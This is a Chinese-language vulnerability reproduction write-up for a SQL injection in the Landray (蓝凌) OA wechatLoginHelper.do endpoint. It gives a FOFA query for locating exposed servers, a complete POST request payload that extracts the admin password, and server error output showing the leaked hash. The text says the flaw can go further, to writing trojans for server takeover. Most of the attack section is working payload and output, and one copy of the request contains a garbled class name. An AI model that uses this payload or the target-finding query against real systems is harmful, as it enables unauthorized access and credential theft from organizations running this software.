

L2-1蓝凌-OA-SQL

漏洞描述:

蓝凌OA wechatLoginHelper.do接口处存在SQL注入漏洞, 攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如, 管理员后台密码、站点的用户个人信息)之外, 甚至在高权限的情况可向服务器中写入木马, 进一步获取服务器系统权限。

网站图片:



网络测绘:

fofa语法:

FOFA: app="Landray-OA系统"

漏洞复现:

payload:

```
POST /third/wechat/wechatLoginHelper.do HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Connection: close

method=edit&uid=1'and+(SELECT+'password-is: '%2BfdPassword%2B'----'+FROM+com.landray.kmss.sys.organization.model.SysOrgPerson+where+fdLoginName='admin')=1+and+'1'='1
```

效果图:

查询admin用户密码

Request



数据包扫描

热加载

构造请求



```
1 POST /third/wechat/wechatLoginHelper.do HTTP/1.1
2 Host: [REDACTED]
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like
4 Gecko) Version/12.0.3 Safari/605.1.15
5 Content-Type: application/x-www-form-urlencoded
6 Accept-Encoding: gzip, deflate, br
7 Connection: close
8 method=edit&uid=1'and+(SELECT+'password-is: '%2BfdPassword%2B'----'+FROM+com.landray.lmas.sys.
organization.model.SysOrgPerson+where+fdLoginName='admin')=1+and+'1'='1
```

Responses

45239bytes / 125ms

```
481 + [AbstractProtocol.java:877]
482 + org.apache.tomcat.util.net.AprEndpoint
483 + org.apache.tomcat.util.net.AprEndpoint
484 + java.util.concurrent.ThreadPoolExecuto
485 + org.apache.tomcat.util.threads.TaskThr
486 + java.lang.Thread.run(Thread.java:745)
487 + Caused by: java.sql.SQLException: 在将 nvar
488 + 'password-is:d6446a772483cbc61ef3d3fde81cb
489 + net.sourceforge.jtds.jdbc.SQLDiagnostics
490 + net.sourceforge.jtds.jdbc.TdsCore.tdsE
491 + net.sourceforge.jtds.jdbc.TdsCore.next
492 + net.sourceforge.jtds.jdbc.TdsResultSe
493 + net.sourceforge.jtds.jdbc.JtdsStatemen
494 + net.sourceforge.jtds.jdbc.JtdsPrepared
495 + java:693)
496 + com.alibaba.druid.filter.FilterChainIm
497 + (FilterChainImpl.java:3240)
498 + com.alibaba.druid.filter.FilterEventAd
499 + (FilterEventAdapter.java:465)
500 + com.alibaba.druid.filter.FilterChainIm
501 + (FilterChainImpl.java:3237)
502 + com.alibaba.druid.proxy.jdbc.PreparedS
503 + (PreparedStatementProxyImpl.java:181)
504 + com.alibaba.druid.pool.DruidPooledPrep
505 + (DruidPooledPreparedStatement.java:227)
```